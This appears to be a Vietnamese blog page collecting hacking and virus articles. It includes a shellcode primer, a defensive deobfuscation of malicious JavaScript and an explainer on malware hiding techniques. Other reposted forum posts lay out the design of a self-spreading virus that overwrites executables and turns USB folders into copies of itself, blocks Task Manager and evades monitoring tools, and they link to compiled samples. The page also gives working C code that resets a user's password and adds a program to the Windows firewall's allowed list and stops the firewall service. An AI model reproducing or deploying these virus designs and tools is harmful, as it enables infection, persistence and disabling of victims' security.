Trao đổi với tôi

http://www.buidao.com

7/31/09

[Hacking]Shellcode thần chưởng: nhập môn

Shellcode thần chưởng: nhập môn

Link:http://vnhacker.blogspot.com/search/label/shellcode-th%E1%BA%A7n-ch%C6%B0%E1%BB%9Fng

The most powerful of buffer overflows are never going to be in worms. Custom exploits are what gets you in, and what keeps you in. If you see a truly top notch hacker going after someone, he'll have a complete mirror of the target hosts' environments, all for one purpose: To create a buffer overflow he only plans on using once. ---Dave Aitel
Lỗi tràn bộ đệm. Blog bảo mật thông tin mà không có một bài nào về lỗi tràn bộ đệm giống như một anh tiều phu mà chẳng sắm nổi một chiếc rìu. Nghĩ vậy nên từ khi mới bắt đầu viết blog, tôi đã dự tính sẽ làm một loạt bài về lỗi tràn bộ đệm. Vấn đề còn lại là viết như thế nào để những người mới bắt đầu có thể hiểu được một đề tài khá phức tạp như lỗi tràn bộ đệm? Có rất nhiều tài liệu tiếng Anh và tiếng Việt về đề tài này nhưng chúng luôn yêu cầu người đọc phải có một trình độ nhất định về C, Assembly hay debug với gdb, những lĩnh vực mà những người mới bắt đầu khó lòng nắm vững. Thật ra muốn hiểu rõ lỗi tràn bộ đệm, bạn không cần phải cực kì thông thạo C hay Assembly mà chỉ cần học một phần rất nhỏ trong hai ngôn ngữ khó nuốt này mà thôi. Thực tế bạn chỉ cần học C và Assembly đủ để viết shellcode. Nhưng...shellcode là cái gì mới được chứ?

Có khá nhiều định nghĩa về shellcode:
  • Shellcode, là đoạn chương trình giúp bạn có được...một cái shell. Thế shell là cái gì? Theo Wikipedia, shell là một phần mềm cung cấp một giao diện dòng lệnh (command line interface) giúp bạn có thể tương tác với hệ điều hành. Shell sẽ nhận lệnh của bạn, gửi xuống phần lõi (kernel) của hệ điều hành để thực thi, rồi nhận kết quả trả về và gửi lại cho bạn. Có thể hiểu nôm na rằng, có shell trên một máy tính nào đó có nghĩa là bạn có quyền thực thi lệnh trên máy tính đó.
  • Shellcode là payload của các đoạn mã khai thác lỗ hổng bảo mật (exploit). Khi viết exploit, bạn phải giải quyết hai vấn đề chính: a) injection vector: xác định cách chèn shellcode vào trong hệ thống muốn tấn công; b) payload: xác định shellcode mà bạn muốn chạy trên hệ thống đó. Shellcode có thể làm được mọi thứ, từ việc điều chỉnh giở hệ thống hay download và thực thi một file từ Internet cho đến gửi một email ra ngoài. Mục tiêu chính của các exploit là làm sao có thể chạy được shellcode nằm trong phần payload của nó.
  • Shellcode còn được gọi là bytecode, tạm dịch là mã máy. Chúng ta đều biết mã máy là thứ ngôn ngữ duy nhất mà bộ vi xử lí có thể hiểu được. Tất cả các chương trình viết bằng bất kì ngôn ngữ nào đều phải được biên dịch sang mã máy trước khi máy tính có thể chạy được chương trình đó. Khác với các chương trình này, shellcode được thể hiện như một nhóm các mã máy, do đó máy tính có thể hiểu và thực thi trực tiếp shellcode mà không cần phải trải qua bất kì công đoạn biên dịch nào cả.
Như vậy muốn viết được shellcode, tôi phải học cách viết mã máy? Câu trả lời là không. Không ai trực tiếp viết ra mã máy khi muốn tạo shellcode. Thay vào đó, bạn có thể: a) sử dụng các shellcode có sẵn trên Internet; b) viết bằng C, dịch sang Assembly rồi tiếp tục dịch sang mã máy; c) viết bằng Assembly rồi dịch luôn ra mã máy.

Đối với cách a), tin vui là có rất nhiều thư viện shellcode trên Internet, thậm chí có một số chương trình cho phép bạn tạo shellcode và viết exploit bằng một ngôn ngữ cao cấp như Python hay Ruby. Tin buồn là nếu bạn nhào vào sử dụng liền các shellcode có sẵn mà không tìm hiểu chúng, bạn có thể bị gài bom. Nên nhớ rằng, shellcode có thể làm được tất cả mọi chuyện, hành động lấy shellcode từ Internet rồi chạy mà không thật sự hiểu shellcode đó làm gì giống như việc chạy các file .exe nhận được từ một người lạ mặt! Đến một lúc nào đó, bạn sẽ sử dụng các chương trình tạo shellcode tự động kể trên để đơn giản hóa việc viết exploit nhưng trước mắt, bạn cần phải tự viết được shellcode đã.

Trong tài liệu này chúng ta sẽ sử dụng luân phiên hai cách b)c) để viết shellcode. Bạn nên sử dụng cách b) khi mới bắt đầu hoặc khi cần phải triển khai một loại shellcode phức tạp. Nhìn vào hai cách này, bạn có thể thấy rằng viết shellcode đòi hỏi phải có sự thông hiểu về ngôn ngữ Assembly của kiến trúc máy tính mà bạn dự định sẽ chạy shellcode trên đó. Đây là điều hiểu nhiên bởi lẽ các loại máy khác nhau (x86, x86-64, sparc, ppc, amd hay mips...) chỉ hiểu được một nhóm mã máy khác nhau. Ngoài ra, bạn còn phải thông hiểu cách giao tiếp với hệ điều hành (linux, windows, solaris hay freebsd...) để có thể thực thi được lệnh trong shellcode. Thông thường, bạn cần phải có một phiên bản shellcode khác nhau cho mỗi loại hệ điều hành chạy trên mỗi loại kiến trúc phần cứng khác nhau. Nói cách khác, shellcode phụ thuộc vào hệ điều hành và kiến trúc phần cứng.

Bạn vẫn còn đang đọc bài này đó chứ :p? Nếu có bất kì chỗ nào còn mù mờ, bạn nên đọc lại từ đầu và đừng ngại hỏi nếu bạn muốn. Những gì tôi trình bày về shellcode từ đầu đến giờ là những ý quan trọng nhất về shellcode, nếu bạn chỉ muốn biết shellcode để nói chuyện cho vui thì bạn có thể dừng lại ở đây. Còn nếu bạn muốn tự viết cho mình những đoạn shellcode tối ưu thì hãy đi tiếp cùng tôi nhé.

Trong bài tiếp theo, tôi sẽ trình bày những kiến thức căn bản về Assembly đủ để bạn có thể hiểu và viết được shellcode đầu tiên của mình. Sau đó tôi sẽ đề cập đến hai trở ngại quan trọng nhất mà bạn cần phải vượt qua khi viết shellcode: vấn đề địa chỉ ô nhớ (addressing problem) và vấn đề của các byte có giá trị null (null byte problem). Chúng ta cũng sẽ thảo luận sơ lược một số ví dụ về shellcode trên kiến trúc máy Intel 32-bit (còn gọi là x86).

Tôi cần chuẩn bị những gì để học viết shellcode?

Như đã nói từ đầu, bài viết này không yêu cầu bạn phải có kiến thức trước về Assembly hay C. Yêu cầu duy nhất là bạn phải có sự khao khát học hỏi cái mới. Ngoài ra, tôi sử dụng Ubuntu Linux trên máy x86 để viết các shellcode mẫu trong bài này, do đó bạn cũng cần phải chuẩn bị một máy tính có cấu hình tương tự (Linux-x86) như tôi. Bạn chọn distro nào cũng được, nhưng tốt nhất là nên chọn Ubuntu như tôi luôn. Các phần mềm khác mà bạn cần phải chuẩn bị:
  • nasm là bộ phần mềm bao gồm một assembler tên nasm và một disassembler mang tên ndisasm. nasm dùng để biên dịch các mã lệnh Assembly sang mã máy, còn ndisasm làm công việc ngược lại.
  • gdb là phần mềm giúp bạn debug (bắt lỗi) hoặc disassemble các chương trình viết bằng C. gdb thường có sẵn trong distro của bạn.
  • objdump là công cụ giúp bạn xem các thông tin quan trọng trong các file object hay file executable. Tương tự như gdb, objdump thường có sẵn trong distro của bạn.
  • strace là công cụ xem các syscall (tôi sẽ giải thích khái niệm này sau) mà một chương trình gọi khi nó được thực thi.
-Thái.

[Virus] Phân tích obfuscated Javascript

Phân tích obfuscated Javascript

Link: http://vnhacker.blogspot.com/2006/11/phn-tch-obfuscated-javascript.html

Hôm nay một người bạn gửi cho tôi cái liên kết đến http://www.hvaonline.net, với lời nhắn là HVAOnline đã trở lại. Chà, mái nhà xưa đã trở lại, tôi háo hức truy cập vào địa chỉ trên. Bất ngờ NoScript nhảy lên dòng thông báo Scripts Currently Forbidden rồi đứng yên, không thấy hiện lên gì khác nữa. E hèm, nghi ngờ có chuyện chẳng lành đang xảy ra (có kẻ nào đó mượn danh HVAOnline phát tán virus chăng?), tôi liền xem mã nguồn của trang đó. Và một chuyến phiêu lưu thú vị bắt đầu :p.

Do Blogger không cho phép gửi nội dung có chứa các thẻ đặc biệt của HTML lên đây, nên trong các đoạn code trong bài này tôi thay thế <> bằng [ và ]. Đoạn Javascript bị NoScript chặn lại rất dài, do đó việc đầu tiên cần phải làm là chia nó ra thành từng lệnh ngắn hơn. Tôi bắt đầu tìm kiếm các dấu ;, là kí tự phân cách các câu lệnh trong Javascript, kết quả như sau (những chỗ tô đậm đã được bỏ đi để hiển thị trên blog này dễ hơn)

1. l1l=document.all;
2. var naa=true;
3. ll1=document.layers;
4. lll=window.sidebar;
5. naa=(!(l1l&&amp;amp;amp;amp;ll1)&&!(!l1l&&!ll1&&!lll));
6. OOOO=new Array();
7. OOOO[0]='very long string';
8. OOO0='fu';
9. OO00='YttZcpWlUoKfKWPd';
10. OOO0+='nction __'+'__(_'+'O0){';
11. OO0O='var%20%6C%32%3D\167i\156[remove]"
12. OOOO[0]+='very long string';
13. OOO0+='eva';
14. O000='kYekgsNOfgqSMmoZavFs';
15. OOO0+='l(unes' +'cape(_O0))}';
16. eval (OOO0);
17. O0O0='eilcFeNuqdBpfuHnmOQnNOkWj';
18. OOO0='';
19. OO0O+='%20%41rra\171%28%29[remove]';
20. O0OO='l';
21. OOOO[0]+='very long string';
22. OO0O+='%6B%3Bde\146%61\165[remove];
23. O0O0 ='very long string';
24. ____ (OO0O);
25. O0OO+='very long string';
Chà có vẻ như ai đó đang cố che dấu một âm mưu bí hiểm nào đó! Tôi liền lao vào phân tích những câu lệnh này. Các lệnh từ 1-5 không có nhiều hấp dẫn, chúng được dùng để khởi tạo một số biến có thể được sử dụng trong những đoạn mã phía sau, nơi mà bí mật đang được che dấu. Tôi có một vài nhận xét đầu tiên:
  • Tên các biến từ lệnh số 6 trở đi thoạt nhìn thì trông rất giống nhau (nhất là khi bạn xem mã nguồn các website này bằng browser) nhưng kì thực lại khác nhau. Tên mỗi biến là sự pha trộn giữa chữ O và số 0. Bằng cách chọn đại một biến bất kì và thực hiện việc tìm kiếm chuỗi đó trong text editor, bạn sẽ tìm thấy sự khác nhau của chúng đồng thời bạn sẽ liên kết được các nhóm lệnh lại với nhau. Tôi đã làm việc này cho bạn, các lệnh thực hiện trên cùng một biến được tô cùng màu, tổng cộng có tất cả 6 nhóm có ít nhất từ 2 lệnh trở lên, riêng lệnh số 9 và số 14 đứng một mình.
  • Có vẻ như có rất nhiều câu lệnh vô nghĩa, ví dụ rõ ràng nhất là câu lệnh số 9 và 14. Tôi không nhìn thấy pattern nào trong các chuỗi ở những câu lệnh này, tương tự như nhóm màu tím (20 và 25), màu nâu (17 và 23) và màu đỏ (6, 7, 12 và 21). Có hai cách để giải thích những lệnh này: a) chúng là những lệnh rác, được đưa vào chỉ để làm cho đoạn javascript thêm rối; b) các biến được gán trong những câu lệnh này sẽ được sử dụng trong những đoạn lệnh bên dưới.
  • Đối với các câu lệnh còn lại, các lệnh cùng màu có tính chất giống nhau. Các lệnh trong nhóm màu xanh dương có vẻ là các câu lệnh Javascript. Các lệnh trong nhóm màu xanh lá cũng giống các câu lệnh Javascript, nhưng là các câu lệnh đã được mã hóa bằng lệnh escape.
Hãy thử phân tích nhóm màu xanh dương, bao gồm các câu lệnh 8, 10, 13, 15, 16 và 18. Bạn có thấy gì chưa? Bốn lệnh đầu gán vào biến OOO0 một chuỗi như sau:
function ____(_O0){
eval(unescape(_O0)
}
Hàm này sẽ thực thi các câu lệnh Javascript dưới dạng chuỗi đã được mã hóa bằng lệnh escape chứa trong tham số đầu tiên của nó. Lệnh thứ 15 sử dụng hàm eval của Javascript để biến OOO0 thành một hàm của Javascript. Lệnh thứ 18 không làm gì cả.

Chà manh mối đã xuất hiện. Bạn hãy nhìn lệnh thứ 24. Đây là lệnh gọi hàm
____ đã được định nghĩa bởi nhóm lệnh màu xanh dương, và tham số của lệnh này là chuỗi tạo bởi nhóm lệnh màu danh lá. Chuỗi này, như đã phân tích ở trên, là những câu lệnh Javascript đã được mã hóa bằng escape. Bạn đã nhìn thấy những manh mối chưa?

Trước mắt cần phải giải mã những lệnh nằm trong nhóm màu xanh lá. Có rất nhiều cách để làm điều này, cách dễ nhất là sử dụng thủ thuật textarea do Tom Liston chỉ ra trong loạt bài Following the bouncing malware (rất bổ ích cho những ai đam mê món malware analysis!). Trước tiên tôi sắp xếp các nhóm lệnh màu xanh lá lại với nhau rồi áp dụng thủ thuật textarea (tôi thay document.write bằng documentwrite để hiển thị được trên blogger):
1.documentwrite("[textarea cols=100 rows=100]");
2. OO0O='var%20%6C%32%3D\167i[remove]"
3. OO0O+='%20%41rra\171%28%29[remove]';
4. OO0O+='%6B%3Bde\146%61\165[remove];
5.documentwriteln(unescape(OO0O));
6.documentwrite("[/textarea]");

Bạn sẽ thu được đoạn mã Javascript sau đây (tôi đã chỉnh sửa và tóm gọn lại cho dễ nhìn):
var l2 = window.opera?1:0;
function l3 (l4) {
[very long functions calling substr and replace many times...]
};
for[ii=0; ii[OOOO.length; ii++] {
lO+=l3[OOOO[ii]]
};
if[naa]{
documentwrite(lO)
};
Đoạn Javascript chia làm 2 phần rõ ràng:

  1. Phần đầu định nghĩa hàm l3. Nhìn sơ qua hàm này tôi thấy nó sử dụng rất nhiều các hàm sử lý chuỗi như substr, replace...do đó có thể suy luận rằng hàm này dùng để chuyển đổi chuỗi nhập vào của nó thành một chuỗi khác.
  2. Phần thứ hai sử dụng hàm l3 ở trên với tham số nhập vào chính là các chuỗi nằm trong nhóm lệnh màu đỏ rồi sau đó xuất ra cho browser bằng lệnh document->write.
Như vậy đã rõ, đoạn javascript trong nhóm lệnh màu xanh lá không có gì nguy hại, chủ yếu dùng để giải mã các chuỗi nằm trong nhóm lệnh màu đỏ rồi xuất ra cho browser. Vậy chúng xuất ra cái gì? Bạn hãy thử tìm câu trả lời xem! (gợi ý: áp dụng lại cái thủ thuật textarea ở trên). Anyway, client side "encryption" never works :p.

7/29/09

[Virus] Những kiểu hình ẩn mình của malware

Link: http://www.tin247.com/nhung_kieu_hinh_an_minh_cua_malware-4-21323046.html
Bạn thực sự đã hiểu hết những kiểu hình của Malware? Những phương thức ẩn mình của malware thường rất phức tạp, bạn có chắc chắn sau một thời gian lâu sử dụng máy bạn không tồn tại kẻ gây hại nào đó? Sau đây sẽ là một số kiểu hình ẩn mình của malware khiến bạn rất khó phát hiện sự tồn tại của chúng trên máy mình.


DLL Inject

Hacker viết một DLL (có khả năng inject) với main là hàm DllMain (sẽ được tự động thực hiện đầu tiên khi load lên memory). Sau đó, malware inject dll này lên một hay nhiều các process đang chạy trên máy. Đặc biệt là inject vào các process mặc định của Windows, như winlogon.exe, explorer.exe... Khiến ta rất khó khăn trong việc tìm và tiêu diệt những “kí sinh trùng” nguy hiểm này. Điển hình trong số đó là virus W32.Kavo:

Sau khi bị nhiễm kavo, nó sẽ tạo ra 2 file là %SystemRoot%\System32\kavo.dll (hoặc một vài cái tên khác ) và %SystemRoot%\System32\kavo.exe.

Tiếp tới kavo sẽ tiến hành inject tệp kavo.dll vào process explorer.exe.

Kavo.dll sau khi được inject còn “nguy hiểm” hơn những tệp exe. Nó có khả năng thực thi các lệnh giống như một tiến trình độc lập và còn có thể che mặt bởi chính phương thức “kí sinh” của mình. Mặc dù bạn đã xóa tệp kavo.exe nhưng nó mau chóng lại mọc trở lại. Đối với những kiểu malware dạng này, bạn có thể sử dụng các công cụ như Task Explorer, LordPE... để xem những image được nạp vào tiến trình.

Rootkit

Rootkit thực chất là sử dụng một tệp driver (*.sys) có khả năng tác động sâu vào hệ thống, những tệp driver này được viết & sử dụng giống như DLL với mục đích và khả năng thực hiện cao hơn.
Đặc điểm nổi bật nhất là nó có khả năng khống chế window vào cấp cao nhất (ring0)
Nhiệm vụ của kẻ xâm nhập là tiến hành tạo service cho những driver này bằng cách ghi vào registry (đối với những loại malware có tính đeo bám dai dẳng). Driver sau khi được nạp lên services sẽ không lệ thuộc vào các process như phương thức dll inject, chúng ta chỉ có thể terminal service để khống chế nó khi đã xác định được chính xác đối tượng. Ví dụ trong số đó là Rootkit.Win32.Agent.pp, sau khi nhiễm, nó sẽ tạo ra một file ở %System%\drivers\ctl_w32.sys và tạo ra một khóa để có thể tự động nạp lên service:

[HKLM\System\CurrentControlSet\Services\ctl_w32]
"Start" = "dword:0x00000003"
"Type" = "dword:0x00000001"
"ImagePath" = "%System%\drivers\ctl_w32.sys"

Thường thì những driver này gây xung đột với system nên rất hay gây cho máy bạn hiện tượng dump (máy bị đơ cứng cục bộ với màn hình xanh thông báo có lỗi xảy ra). Vì khả năng can thiệp sâu của rootkit nên nó nhanh chóng được ưa chuộng. Những chức năng điển hình nhất của rootkit là: thiết lập backdoor (cửa sau), ẩn tiến trình (hiding process), can thiệp vào log (khi có mức quyền cao nhất)...

Đối với những loại hình malware này, để tiêu diệt yêu cần bạn phải có kiến thức cao về hệ thống & rootkit. Ngoài ra, bạn có thể sử dụng một số công cụ phát hiện rootkit miễn phí như Sophos Anti-Rootkit, RootkitRevealer, Panda Titanium, GMER hay IceSword...

Hide Process & hooking

Giống như rootkit, hide process là một dạng mạnh sử dụng sự kết hợp giữa hooking kernel mode và chạy tiến trình. Những phương thức “siêu ẩn mình” rất khó để nhận biết, mặc dù bạn đã sử dụng các trình view process khá mạnh, nhưng hooking là một bài toán muôn hình muôn vẻ, bạn không bao giờ có thể chắc chắn rằng không có process nào đang ẩn mình trên máy tính bạn...
Kết quả kiểm tra khi sử dụng Process Master để soi một process đã được “ẩn mình”

Infect PE

Mối nguy hiểm tiềm tàng khi một trong các ứng dụng quen thuộc của bạn bị nhiễm malware theo kiểu infect dynamic code. Nghĩa là kẻ tấn công sẽ chèn thêm một đoạn byte code vào trước OEP (Original Entry Point) hay thay đổi đoạn code nguyên bản của một tệp thực thi quen thuộc đang chạy trên máy, như YahooMessenger.exe, firefox.exe, UniKeyNT.exe & Vietkey.exe...


Ảnh minh họa
File nguyên bản (orginal)

Ảnh minh họa
File Infected (đã chèn thêm code)

Ảnh minh họa


Sau khi được thay đổi cấu trúc code ở entry point (điểm chạy code đầu của chương trình), mỗi khi khởi động unikey sẽ thực hiện một hộp thoại rồi mới nhảy tới cửa sổ chương trình chính. Đây chỉ là một ví dụ minh họa cách thức infect lên một pe file.

Những phương thức trên chỉ là một vài kiểu hình quen thuộc mà malware cấp cao có thể sử dụng để ẩn mình trên máy tính. Hi vọng nó sẽ góp phần giúp bạn hiểu thêm phần nào!

(Theo QTM)

[Virus] Kỳ 2 Lập Trình virus giả mạo thư mục

Kỳ 2 Lập Trình virus giả mạo thư mục
Link: http://forums.congdongcviet.com/showthread.php?t=12716
1 đính kèm
Kỳ 2 lập trình virus giả thư mục

Ý tưởng:
Với mục đích là con virus có khả năng sinh tồn cao hơn kể cả khi bị victim tìm ra và kill,vì thế mình muốn con virus phcair bám vào cả những gì quan trọng nhất của victim,ở đây mình sẽ chọn thư mục trong ổ đĩa là nơi tấn công chủ yếu:
- đầu tiên virus phải giả tạo thư mục: ta có thể thêm icon cho 1 file exe bằng chính công cụ trong VC++,điều này khá dễ dàng coder sẽ không bàn tới ….:D
- thứ 2 là virus thì cần phải có đủ 2 thành phần là khả năng lây lan và khả năng bảo vệ,vì thế ta vẫn thiết kế virus với các class chuyên biệt làm 2 nhiệm vụ là lây lan và bảo vệ
- như kỳ 1 mình vẫn muốn virus có khả năng lây qua USB ( híc híc,lây gửi mail thì mình vẫn chưa đủ trình để làm nên đành bó chiếu thôi)
- Phương thức lây lan qua USB sẽ là như sau: mỗi khi cắm USB vào virus sẽ ném ngay 1 file autorun cho ổ USB và mặt khác sẽ biến toàn bộ các thư mục có sẵn trong USB thành virus ( với tên được giữ nguyên) do virus đã mang icon là thư mục vì thế sẽ khó phát hiện
- Để tăng khả năng khó phát hiện hơn nữa coder sẽ thêm phần giả tạo thư mục hoàn thiện hơn với việc nếu ai bấm vào thư mục giả,chính là virus sẽ vẫn vào được thư mục thật,điều này sẽ làm cho một số newbie tưởng vẫn là thư mục thậ:D ,mặt khác virus sẽ ẩn các thư mục thật đi( ta ẩn system nha,cho nó kín)
- Virus còn có thêm hàm liệt kê tất cả các ổ đĩa để biến tất cả các thư mục thành virus
- Ngoài ra như vậy là vẫn chưa đủ,virus vẫn có thể bị kill dễ dàng với những công cụ chuyên dụng như ice,regmon,filemon,vì thế ta sẽ luôn tìm kiếm xem có cửa sổ nào của filemon,regmon… đang tồn tại không,nếu đang tồn tại ta lập tức cho logoff luôn( riêng cửa sổ của ice mình vẫn chưa làm cách nào phát hiện ra được nó cả:D



đầu tiên là chọn mục này để viết code trong VC++6.0

sau đây là code ( chú ý là mình không đưa code dạng text để nếu có bạn nào muốn sửa đổi mà không hiểu bản chất cũng không thể làm được)


















còn đây là link mẫu virus
http://www.4shared.com/file/74208638...ified=5342c6c3

còn đây là icon thư mục mình chia sẻ cho các bạn,chỉ cần add thẳng vào project là được

[Virus] Kỳ 1 Lập trình virus với VC++

Kỳ 1 Lập trình virus với VC++
Link: http://forums.congdongcviet.com/showthread.php?t=12632

hjhj,ngồi Cviet dạo này chán qué,mấy bác hình như đi ôn thi hết lượt, Spam chút ít,bài mình post trên virusvn roài giờ post lại đây có gì kém cỏi anh em thông cảm nhé:D

Lời tựa:
Trích dẫn:

Đầu tiên mình xin khẳng định quan điểm viết virus không phải là xấu,nó chỉ xấu khi được phát tán ra bên ngoài,để viết được virus có chất lượng nó cần ở người viết rất nhiều kiến thức khác nhau,đặc biệt là am hiểu về lập trình hệ thống,các cơ chế của hệ thống,vì vậy với bài viết này đơn giản mình chỉ muốn học hỏi ,chia sẻ kiến thức hệ thống thôi,bài viết không mang ý nghĩa hướng dẫn phá hoại
Công cụ
Trích dẫn:

IDE vc++6.0 -> công cụ lập trình chính
máy ảo VMWARE -> soát lỗi và đưa vào ứng dụng
Các mẫu virus đã tham khảo:
Ckvo.exe,image.exe,hinhem.exe ….

Ý tưởng

Mục tiêu tấn công:

Trích dẫn:

Mục tiêu tấn công của virus là các file tự chạy ( .EXE ) trên toàn bộ máy tính,mong muốn của tôi là biến toàn bộ các file exe trên máy trở thành virus với tên của nó được giữ nguyên
Phương thức tấn công :

Trích dẫn:

- Virus sau khi được kích hoạt sẽ tự động liệt kê các ổ đĩa có trong máy tính,sau đó sẽ sử xây dựng 1 hàm kiểm tra các ổ nào là ổ có chứa dung lượng thật ( là những ổ cứng và USB … không có CD)
- Xây dựng hàm kiểm tra có phải là file exe hay không,sau đó duyệt đệ quy các ổ có chứa dung lượng thật
- Xây dựng hàm tạo file autorun.inf,tạo file autorun.inf tại tất cả các ổ đĩa có dung lượng thật
Thiết kế
Trích dẫn:

Ý tưởng của chương trình khá lớn vì vậy đơn giản nhất để phát triển nó là xây dựng trên các class với những nhiệm vụ khác nhau,chủ yếu với virus thì nên chia thành 3 nhiệm vụ: tấn công,phòng thù và lây lan
- Class lây lan sẽ chịu trách nhiệm lây lan của virus,trong con virus này ta chỉ kể đến việc lây lan qua USB ,cụ thể khi ta cắm usb vào máy tính,lập tức virus được copy vào usb,và toàn bộ dữ liệu của usb

• int nhanrausb(void); hàm nhận ra usb ,khi usb được cắm vào máy tính chương trình sẽ tự động nhận ra usb,copy file autorun.inf và chính file virus

• int copyvirus(char *tendia); hàm copy file file virus vào tất cả các ổ đĩa có dung lượng thật
• int lietkeodia(void); hàm liệt kê tất cả các ổ đĩa,bao gồm cả ổ đĩa có dung lượng thật và ổ đĩa có dung lượng ảo
• friend char* tenvirus(void); hàm lấy đường dẫn của virus
tancong với khả năng khảo sát toàn bộ các ổ cứng có dung lượng thật ,nếu phát hiện ra file exe nào lập tức xóa nó đi,thay vào đó file virus,với tên vẫn là tên của file exe ban đầu
* int duyetdequy(char *odia); như đã nói hàm để có thể tấn công toàn bộ các file exe trong ổ cứng

* bool kiemtraprocess(char *tenfile); hàm này có bug,mục đích của mình là kiểm tra xem file exe có được dùng không
* hàm kiểm tra có phải là file exe hay không để tấn công


• Hàm bạn lấy kiểm tra có phải là thư mục hay không


- Class phong thủ chịu trách nhiệm duy trì sự hiện diện của virus trên máy tính,vì thế nó sẽ phải làm những nhiệm vụ như khởi động cùng máy tính( mỗi khi máy được khởi động ) ,chặn Taskmanager để tránh việc endTask virus,trong các phiên bản sau mình sẽ phát triển thêm khả năng tự bảo vệ trước việc bị endTask từ các công cụ chuyên dụng như processXP…

• void khoidong(void); với vai trò khởi động cùng windows( mình chỉ cần thay đổi registry thôi chính là khóa này HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\ CurrentVersion\\Run",0,KEY_ALL_ACCESS

void taskmanager(void); với vai trò khóa taskmanager chính là khóa này HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\C urrentVersion\\Policies\\System
void vohieuhoarun(); như tên hàm,đây là nơi chịu trách nhiệm vô hiệu hóa run ở khóa này HKEY_LOCAL_MACHINE,"Software\\microsoft\\windowns\ \CurrentVersion\\policies\\Exploer


hàm kiểm tra ổ có dung lượng thật hay không và hàm kiểm tra xem virus trong máy tính đã có chưa,nếu chưa có thì chạy,nếu có rồi thì ngừng
còn đây là mẫu sau khi được biên dịch và nén lại bằng UPX -> giảm 1 nửa dung lượng
http://www.4shared.com/file/70389175...f6/_2__dt.html

note: thử trên máy ảo nhé

nếu chưa có máy ảo thì down ở đây,mình thì mình thích dùng VMware hơn,nó có thể phục hồi rất nhanh ( giống như ghost )
http://www.microsoft.com/windows/dow...c/default.mspx

[Hacking] Hướng Dẫn Lập Trình Hack mật khẩu tài khoản Admin của windows

Hướng Dẫn Lập Trình Hack mật khẩu tài khoản Admin của windows
Link: http://forums.congdongcviet.com/showthread.php?t=18838
Với source này bạn có thể thay đổi được pass của bất kỳ người sử dụng nào trên máy tính mà không cần biết pass của họ //trong đoạn source này sẽ đổi pass thành coder_gate

Yêu cầu ai copy paste thì ghi rõ nhé bài viết thuộc về congdongcviet nhé

PHP Code:
#include
#include
#include
#include
using namespace std;
#define INFO_BUFFER_SIZE 32767
void matkhau(void)
{
TCHAR pbstrUserName[INFO_BUFFER_SIZE];
DWORD lpnSize = INFO_BUFFER_SIZE;
GetUserName(pbstrUserName,&lpnSize);
char chuoi[1000];
sprintf(chuoi,"%s%s%s%s"," net"," user ", pbstrUserName ,"Coder_Gate");
system(chuoi);
}
int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd )
{
matkhau();
return
0;
}

[Hacking] Hướng Dẫn Kill tường lửa của windows bằng C++

- Hướng Dẫn Kill tường lửa của windows bằng C++

Link:http://toanthang.spaces.live.com/?_c11_BlogPart_BlogPart=blogview&_c=BlogPart&partqs=cat%3dL%25e1%25ba%25adp%2520tr%25c3%25acnh%2520C%252b%252b
Link: http://forums.congdongcviet.com/showthread.php?t=18737

1. Tác động đến Registry :

Code :

#define WIN32_LEAN_AND_MEAN
#include
#include
using namespace std;

char fwAuthApp[1024];

char* GetRegKey()
{
HKEY hk = 0;

RegCreateKeyA(HKEY_LOCAL_MACHINE,"SYSTEM\\Select",&hk);
int i;
DWORD sz = 4;

if (
RegQueryValueExA(hk,"Current",NULL,NULL,(BYTE*)&i,&sz) == ERROR_SUCCESS)
{
sprintf(fwAuthApp,"SYSTEM\\ControlSet%03d\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List",i);
}
RegCloseKey(hk);
return
fwAuthApp;
}

void AddException(string path)
{
HKEY hk;
DWORD dw;

string skey = path + ":*:Enabled:@xpsp2res.dll,-22019";

RegCreateKeyExA(
HKEY_LOCAL_MACHINE,
GetRegKey(),
0,
NULL,
REG_OPTION_NON_VOLATILE,
KEY_WRITE,
NULL,
&
hk,
&
dw
);

RegSetValueExA(
hk,
path.c_str(),
0,
REG_SZ,
(
BYTE*)skey.c_str(),
(
DWORD)skey.length()
);

RegCloseKey(hk);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
char *CmdLineA, *Location;

CmdLineA = GetCommandLineA();
Location = CmdLineA + 1;
Location[strlen(Location)-2] = 0;
AddException(Location);
return
0;
}

2. Kill File driver :

#include
#include

int WFDisable( );

int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd )
{
int wf;
TCHAR s[20];
wf = WFDisable( );
if(
wf == 0 ) {
MessageBoxA(0,"success","Coder_gate",0);
}
else {
sprintf(s,"Error %d",wf);
MessageBoxA(0,s,"Coder_gate",0);
}
return
0;
}

int WFDisable()
{
SERVICE_STATUS sStatus;

SC_HANDLE hManager = OpenSCManager( NULL, NULL, 0xF003F );
if(
hManager == NULL ) {
return(
1 );
}
SC_HANDLE hService = OpenService( hManager, (const char*)"MpsSvc", SERVICE_ALL_ACCESS );
if(
hService == NULL ) {
return(
2 );
}
BOOL bControl = ControlService( hService, SERVICE_CONTROL_STOP, &sStatus );
if(
bControl == 0 )
{
return(
3 );
}
CloseServiceHandle( hManager );
CloseServiceHandle( hService );
return(
0 );
}